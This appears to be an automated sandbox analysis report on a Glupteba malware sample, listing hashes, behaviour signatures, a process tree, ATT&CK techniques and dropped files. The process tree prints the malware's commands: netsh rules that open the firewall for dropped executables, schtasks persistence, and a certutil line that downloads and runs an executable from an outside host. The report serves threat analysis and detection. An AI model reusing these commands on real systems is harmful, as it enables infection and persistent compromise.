Analysis

  • max time kernel
    164s
  • max time network
    192s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    20-05-2022 07:03

General

  • Target

    bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe

  • Size

    3.8MB

  • MD5

    8c3064332c06033b41fa36b82aa425b5

  • SHA1

    331a6343c6fbe5c5e22944f104bd86cb11c80d97

  • SHA256

    bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8

  • SHA512

    a53755532b237d3bb1ac5f1ad89adec66edae8ca913a1de433fdb46fbe4c7681643d6d9efa8174bed300ac60edf12bda34d36e148e2b543741a0a10ef17d8e01

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 5 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe
    "C:\Users\Admin\AppData\Local\Temp\bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4784
    • C:\Users\Admin\AppData\Local\Temp\bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe
      "C:\Users\Admin\AppData\Local\Temp\bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8.exe"
      2⤵
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3920
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2208
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
            PID:4540
        • C:\Windows\system32\cmd.exe
          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4508
          • C:\Windows\system32\netsh.exe
            netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes
            4⤵
              PID:2996
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe ""
            3⤵
            • Executes dropped EXE
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1460
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
              4⤵
              • Creates scheduled task(s)
              PID:1580
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
              4⤵
              • Creates scheduled task(s)
              PID:5040
            • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
              "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
              4⤵
              • Executes dropped EXE
              PID:4964
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\Sysnative\bcdedit.exe /v
              4⤵
              • Modifies boot configuration data using bcdedit
              PID:3572
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
        1⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:488

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      1
      T1012

      Command and Control

      Web Service

      1
      T1102

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe
        Filesize

        3.8MB

        MD5

        8c3064332c06033b41fa36b82aa425b5

        SHA1

        331a6343c6fbe5c5e22944f104bd86cb11c80d97

        SHA256

        bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8

        SHA512

        a53755532b237d3bb1ac5f1ad89adec66edae8ca913a1de433fdb46fbe4c7681643d6d9efa8174bed300ac60edf12bda34d36e148e2b543741a0a10ef17d8e01

      • C:\Windows\rss\csrss.exe
        Filesize

        3.8MB

        MD5

        8c3064332c06033b41fa36b82aa425b5

        SHA1

        331a6343c6fbe5c5e22944f104bd86cb11c80d97

        SHA256

        bfd3d410e0062b1a1949e753597b59ab5fd3b64855cf0cf8b215fa98ddd90dc8

        SHA512

        a53755532b237d3bb1ac5f1ad89adec66edae8ca913a1de433fdb46fbe4c7681643d6d9efa8174bed300ac60edf12bda34d36e148e2b543741a0a10ef17d8e01

      • memory/1460-147-0x0000000000400000-0x000000000314A000-memory.dmp
        Filesize

        45.3MB

      • memory/1460-144-0x0000000003A00000-0x0000000003DA5000-memory.dmp
        Filesize

        3.6MB

      • memory/1460-141-0x0000000000000000-mapping.dmp
      • memory/1580-145-0x0000000000000000-mapping.dmp
      • memory/2208-134-0x0000000000000000-mapping.dmp
      • memory/2996-140-0x0000000000000000-mapping.dmp
      • memory/3572-150-0x0000000000000000-mapping.dmp
      • memory/3920-138-0x0000000000400000-0x000000000314A000-memory.dmp
        Filesize

        45.3MB

      • memory/3920-137-0x00000000037D0000-0x0000000003EC2000-memory.dmp
        Filesize

        6.9MB

      • memory/3920-136-0x0000000003428000-0x00000000037CD000-memory.dmp
        Filesize

        3.6MB

      • memory/3920-133-0x0000000000000000-mapping.dmp
      • memory/4508-139-0x0000000000000000-mapping.dmp
      • memory/4540-135-0x0000000000000000-mapping.dmp
      • memory/4784-130-0x0000000003482000-0x0000000003827000-memory.dmp
        Filesize

        3.6MB

      • memory/4784-132-0x0000000000400000-0x000000000314A000-memory.dmp
        Filesize

        45.3MB

      • memory/4784-131-0x0000000003830000-0x0000000003F22000-memory.dmp
        Filesize

        6.9MB

      • memory/4964-148-0x0000000000000000-mapping.dmp
      • memory/5040-146-0x0000000000000000-mapping.dmp